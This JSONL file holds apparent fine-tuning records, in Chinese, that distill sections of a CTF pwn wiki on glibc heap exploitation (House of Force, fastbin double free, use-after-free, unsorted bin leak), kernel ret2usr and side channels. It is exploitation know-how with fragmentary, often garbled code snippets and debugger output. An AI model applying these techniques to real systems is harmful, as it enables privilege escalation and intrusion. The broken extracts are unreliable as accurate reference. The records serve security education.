{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3ea87e62bf0621872954", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「对齐页大小」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：define DEFAULT_TOP_PAD 131072 > 对齐页大小\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“对齐页大小”展开。\n- Otherwise, we correct to page-align below. / size = ALIGN_UP(size, pagesize);\n- ``c / Round to a multiple of page size.\n- If MORECORE is not contiguous, this ensures that we only call it with whole-page arguments.\n- And if MORECORE is contiguous and this is not first time through, this preserves page-alignment of previous calls.\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 8 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 340, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "对齐页大小", "heading_path": ["define DEFAULT_TOP_PAD 131072", "对齐页大小"], "original_id": "docs-a12f685bd82380cf67a1", "original_line": 1167, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "d576d39853205678551783af", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3ec1eee7cdda0aa79fb5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/hardware/cpu/side-channel/prefetch.md` 中的章节「prefetch side-channel attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/hardware/cpu/side-channel/prefetch.md`\n标题：prefetch side-channel attack\n章节：prefetch side-channel attack\n路径分类：pwn / pwn/hardware/cpu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“prefetch side-channel attack”展开。\n- Prefetch 侧信道攻击（Prefetch Side-channel Attacks）是由 Daniel Gruss 于论文 _Prefetch Side-Channel Attacks: Bypassing SMAP and Kernel ASLR_ 中提出来的一种辅助攻击手法，该攻击方法利用了 Intel CPU 中 prefetch 系指令的硬件设计上的弱点，通过对比在不同虚拟地址上执行 prefetch 指令的时间差以泄露内存相关信息，并绕过 KASLR 等保护。\n- CPU 的高速运行极度依赖于 _推测执行_ （speculative execution，即在条件分支判断之前推测后续分支并执行相应指令），数据预取（data prefetching）基于此思想将数据推测性地载入缓存，这可以通过硬件（瞬态执行）或软件（指令，不过有可能会被 CPU 忽略）完成。\n- Intel CPU 有着五个用于预取的指令：prefetch0 、prefetch1、prefetch2 、prefetchchnta 、prefetchw，用以主动告诉 CPU 某些内存可能将被访问，ARMv8-A CPUs 也支持了类似的预取指令 PRFM 。\n\n关键术语：\n- 漏洞利用\n- pwn\n- hardware\n- cpu\n- side-channel\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 597, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "prefetch side-channel attack", "heading_path": ["prefetch side-channel attack"], "original_id": "docs-2c2c7296eec04471a62f", "original_line": 633, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/hardware/cpu/side-channel/prefetch.md", "source_root": "docs", "source_sha256": "2becfb3a5a6f80745403242ec2d2ce0a4c230bb280b012418ce1204612558448", "split": "train", "split_group_key": "85330669261ff75c1b8f0a79", "subcategory": "pwn/hardware/cpu", "terms": ["漏洞利用", "pwn", "hardware", "cpu", "side-channel"], "title": "prefetch side-channel attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/hardware/cpu/side-channel/prefetch.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3ef81aa6b697ce59733a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「简单示例1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`\n标题：House Of Force\n章节：House Of Force > 简单示例1\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简单示例1”展开。\n- 在学习完 HOF 的原理之后，我们这里通过一个示例来说明 HOF 的利用，这个例子的目标是通过HOF来篡改 [EMAIL_REDACTED] 实现劫持程序流程 `` int main() { long ptr,ptr2;\n- 首先，我们需要明确要写入的目的地址，这里我编译程序后，0x601020 是 [EMAIL_REDACTED] 的地址 ` 0x601020: 0x00007ffff7a91130 <=== [EMAIL_REDACTED] ` 所以我们应该将 top chunk 指向 0x601010 处，这样当下次再分配 chunk 时，就可以分配到 [EMAIL_REDACTED] 处的内存了。\n- // <=== 分配块实现任意地址写 } ` 首先，我们分配一个 0x10 字节大小的块 ` 0x602000: 0x0000000000000000 0x0000000000000021 <=== ptr 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 <=== top chunk 0x602030: 0x0000000000000000 0x00000000000...\n- `c void __libc_malloc(size_t bytes) { ` 如果想要用户输入的大小经过内部的 checked_request2size可以得到这样的大小，即 `c / Check if a request is so large that it would wrap around zero when padded and aligned.\n- ` 一方面，我们需要绕过 REQUEST_OUT_OF_RANGE(req) 这个检测，即我们传给 malloc 的值在负数范围内，不得大于 -2 MINSIZE，这个一般情况下都是可以满足的。\n\n关键术语：\n- 边界/溢出\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- plain: 9 行，首行 `int main()`\n- plain: 4 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021 <=== ptr`\n- plain: 4 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021 <=== ptr`\n- plain: 7 行，首行 `0x7ffff7dd1b20 : 0x0000000100000000 0x0000000000000000`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3966, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "简单示例1", "heading_path": ["House Of Force", "简单示例1"], "original_id": "docs-03ab28dcd967890deae1", "original_line": 977, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "source_root": "docs", "source_sha256": "27e5d508f1506ce1b54b9cd5ee0beed81d03242b5dc58c99c27d5a4a84d6cfa9", "split": "train", "split_group_key": "648a25282dbd3dcafc392795", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "House Of Force"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3f16c7f5f0c742e82f80", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「通过 __malloc_trim 函数得出」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：Unsorted Bin Attack > Unsorted Bin Leak > Leak 原理 > 通过 __malloc_trim 函数得出\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“通过 __malloc_trim 函数得出”展开。\n- 这里对 main_arena 进行了访问，所以我们就可以通过 IDA 等工具分析出偏移了。\n- } ` 注意到 mstate ar_ptr = &main_arena;\n- mstate ar_ptr = &main_arena;\n- [图片文件: ./figure/malloc-trim-ida.png] 比如把 .so 文件放到 IDA 中，找到 malloc_trim` 函数，就可以获得偏移了。\n- 在 malloc.c 中有这样一段代码 ``cpp int __malloc_trim (size_t s) { int result = 0;\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:cpp\n\n代码/命令片段线索：\n- cpp: 17 行，首行 `int`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 534, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "通过 __malloc_trim 函数得出", "heading_path": ["Unsorted Bin Attack", "Unsorted Bin Leak", "Leak 原理", "通过 __malloc_trim 函数得出"], "original_id": "docs-865d24e717464f780b49", "original_line": 1100, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "591028755531f67d013b4508", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:cpp"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3f78e6e5d9a1f677bfe4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md` 中的章节「基本示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md`\n标题：堆溢出\n章节：堆溢出 > 基本示例\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本示例”展开。\n- 下面我们举一个简单的例子： `` #include  int main(void) { char chunk;\n- } ` 这个程序的主要目的是调用 malloc 分配一块堆上的内存，之后向这个堆块中写入一个字符串，如果输入的字符串过长会导致溢出 chunk 的区域并覆盖到其后的 top chunk 之中(实际上 puts 内部会调用 malloc 分配堆内存，覆盖到的可能并不是 top chunk)。\n\n关键术语：\n- 边界/溢出\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 9 行，首行 `#include `\n- plain: 5 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021 <===chunk`\n- plain: 5 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021 <===chunk`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 852, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "基本示例", "heading_path": ["堆溢出", "基本示例"], "original_id": "docs-88ab8fdb9c7e2e839371", "original_line": 965, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md", "source_root": "docs", "source_sha256": "27694f5f914660cc1e7899bfadda0c623bf5ec59d6a725b6533ecb08a2017e41", "split": "train", "split_group_key": "6d45bdfb6cb8a3b1a0a05b77", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "AI安全", "pwn", "linux", "user-mode", "heap"], "title": "堆溢出"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3f8e1555c84908cce6ca", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md` 中的章节「Extra. 侧信道攻击」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md`\n标题：Double Fetch\n章节：Double Fetch > 2018 0CTF Finals Baby Kernel > Extra. 侧信道攻击\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Extra. 侧信道攻击”展开。\n- } int main(int argc, char argv, char envp) { int fd, flag_len;\n- 由于 flag 被硬编码在 .ko 文件中，故通过是否造成 kernel panic 可以逐字符爆破 flag 内容。\n- ASCII 可见字符 95 个，flag 长度 33，开头 [FLAG_REDACTED] 减去6个字符，最多只需要爆破 *26 \\ 95 = 2470 次便能够获得 flag。\n- void chal_print_flag(int fd) { ioctl(fd, 0x6666);\n- } void chal_verify_flag(int fd, struct chal_arg arg) { ioctl(fd, 0x1337, arg);\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 17 行，首行 `/*`\n- c: 56 行，首行 `/**`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1896, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "Extra. 侧信道攻击", "heading_path": ["Double Fetch", "2018 0CTF Finals Baby Kernel", "Extra. 侧信道攻击"], "original_id": "docs-5a40f0784ccc7feb83e2", "original_line": 784, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/double-fetch.md", "source_root": "docs", "source_sha256": "c9b70bf8939ac1214b392075d17bd8d75fcd6da1799a7a73b3edd911a1a15991", "split": "train", "split_group_key": "aa3b10037d1a4efdfe284db1", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "Double Fetch"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/double-fetch.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3fe5a8e5d028af5fbc3d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2usr.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2usr.md`\n标题：ret2usr（已过时）\n章节：ret2usr（已过时） > 概述\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“概述”展开。\n- 通常 CTF 中的 ret2usr 还是以执行 commit_creds(prepare_kernel_cred(NULL)) 进行提权为主要的攻击手法，不过相比起构造冗长的ROP chain，ret2usr 只需我们要提前在用户态程序构造好对应的函数指针、获取相应函数地址后直接 ret 回到用户空间执行即可，在这种情况下 我们只需要劫持内核执行流，而无需在内核空间构造复杂的 ROP 链条 。\n- 在【未】开启SMAP/SMEP保护的情况下，用户空间无法访问内核空间的数据，但是内核空间可以访问/执行用户空间的数据，因此 ret2usr 这种攻击手法应运而生——通过 kernel ROP 以内核的 ring 0 权限执行用户空间的代码以完成提权。\n- > 在 QEMU 启动参数中，我们可以为 CPU 参数加上 -smep,-smap 以显式关闭 SMEP&SMAP 保护，例如： > > ``bash > #!\n- /bin/sh > qemu-system-x86_64 \\ > -enable-kvm \\ > -cpu host,-smep,-smap \\ > # ... > `` >\n- ✳ 对于开启了 SMAP/SMEP保护 的 kernel 而言，内核空间尝试直接访问用户空间会引起 kernel panic，我们将在下一章节讲述其绕过方式。\n\n关键术语：\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:bash\n\n代码/命令片段线索：\n- bash: 6 行，首行 `> #!/bin/sh`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 597, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "概述", "heading_path": ["ret2usr（已过时）", "概述"], "original_id": "docs-b7f0553d0cd96f79b3f2", "original_line": 818, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2usr.md", "source_root": "docs", "source_sha256": "2da74210bd8ed207f6580f79f70f5c54efdb303ae5946ae677e3c8ff9bfa8523", "split": "train", "split_group_key": "56740129c9b49f753172778f", "subcategory": "pwn/linux/kernel-mode", "terms": ["ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:bash"], "title": "ret2usr（已过时）"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2usr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4040ff50f82206b64954", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「演示」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > Fastbin Double Free > 演示\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“演示”展开。\n- = idx, 0)) { errstr = \"malloc(): memory corruption (fast)\";\n- errout: malloc_printerr (check_action, errstr, chunk2mem (victim));\n- 的操作，这是因为_int_malloc会对欲分配位置的 size 域进行验证，如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 1 行，首行 `值得注意的是，我们在 main 函数的第一步就进行了`bss_chunk.size=0x21;`的操作，这是因为_int_malloc会对欲分配位置的 size 域进行验证，如果其 size 与当前 fastbin 链表应有 size...`\n- plain: 1 行，首行 `_int_malloc 中的校验如下`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3045, "chunk_count": 2, "chunk_index": 1, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "演示", "heading_path": ["Fastbin Attack", "Fastbin Double Free", "演示"], "original_id": "docs-a915373cdc536ae9aa58", "original_line": 918, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "3fac6d93b3852069d43aca0e", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-40858c71d4edc5737b7f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md` 中的章节「-- coding: utf-8 --」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md`\n标题：Use After Free\n章节：-- coding: utf-8 --\n路径分类：pwn / pwn/linux/user-mode\n分块：3/3\n\n核心知识点：\n- 本节主题围绕“-- coding: utf-8 --”展开。\n- Exit ---------------------- ` 同时，我们还可以借助gef的heap-analysis-helper 来看一下整体的堆的申请与释放的情况，如下 `asm gef➤ heap-analysis-helper [] This feature is under development, expect bugs and unstability...\n- [*] Note: The heap analysis slows down noticeably the execution. gef➤ c Continuing.\n- `asm gef➤ x/2xw 0x804b008 0x804b008: 0x00000000 0x0804b018 ` 覆盖后，具体的值如下 `asm gef➤ x/2xw 0x804b008 0x804b008: 0x08048986 0x0804b00a gef➤ x/i 0x08048986 0x8048986 : push ebp ` 可以看出，确实已经被覆盖为我们所想要的magic函数了。\n- ns[idx=2, size=0x10] 0x00 Fastbins[idx=3, size=0x14] ← UsedChunk(addr=0x804b050, size=0x28) ← UsedChunk(addr=0x804b018, size=0x28) Fastbins[idx=4, size=0x18] 0x00 Fastbins[idx=5, size=0x1c] 0x00 Fastbins[idx=6, size=0x20] 0x00 `` 那么，此时即将要申请note2，我们可以看下note2...\n- 最后执行的效果如下 `shell [+] Starting local process './hacknote': pid 35030 [] Switching to interactive mode [FLAG_REDACTED]---------------------- HackNote ---------------------- 1.\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 2 行，首行 `那么，此时即将要申请note2，我们可以看下note2都申请到了什么内存块，如下`\n- plain: 1 行，首行 `**申请note2的content的内存地址为0x804b008，就是note0对应的地址，即此时我们向note2的content写内容，就会将note0的put字段覆盖。**`\n- plain: 1 行，首行 `我们来具体检验一下，看一下覆盖前的情况，可以看到该内存块的`printnote`指针已经被置为NULL了，这是由fastbin的free机制决定的。`\n- plain: 1 行，首行 `覆盖后，具体的值如下`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4653, "chunk_count": 3, "chunk_index": 2, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "-- coding: utf-8 --", "heading_path": ["-- coding: utf-8 --"], "original_id": "docs-25b076e7b303c2a9ad6d", "original_line": 1125, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md", "source_root": "docs", "source_sha256": "280ce3e15e835a91782f3994f9563b6399c11cb2ddc7b2393a90599906f09806", "split": "train", "split_group_key": "5d04a0d42b3766c77611f127", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "边界/溢出", "堆", "pwn", "linux", "user-mode", "heap"], "title": "Use After Free"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-40a910430c817c37eb83", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:17]」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:17]\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:17]”展开。\n- $ file bamboobox bamboobox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=595428ebf89c9bf7b914dd1d2501af50d47bbbe1, not stripped\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 232, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:17]", "heading_path": ["zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:17]"], "original_id": "docs-5ee27dfdb074d42a0bca", "original_line": 1072, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "0bb4710b12623ca536e87148", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
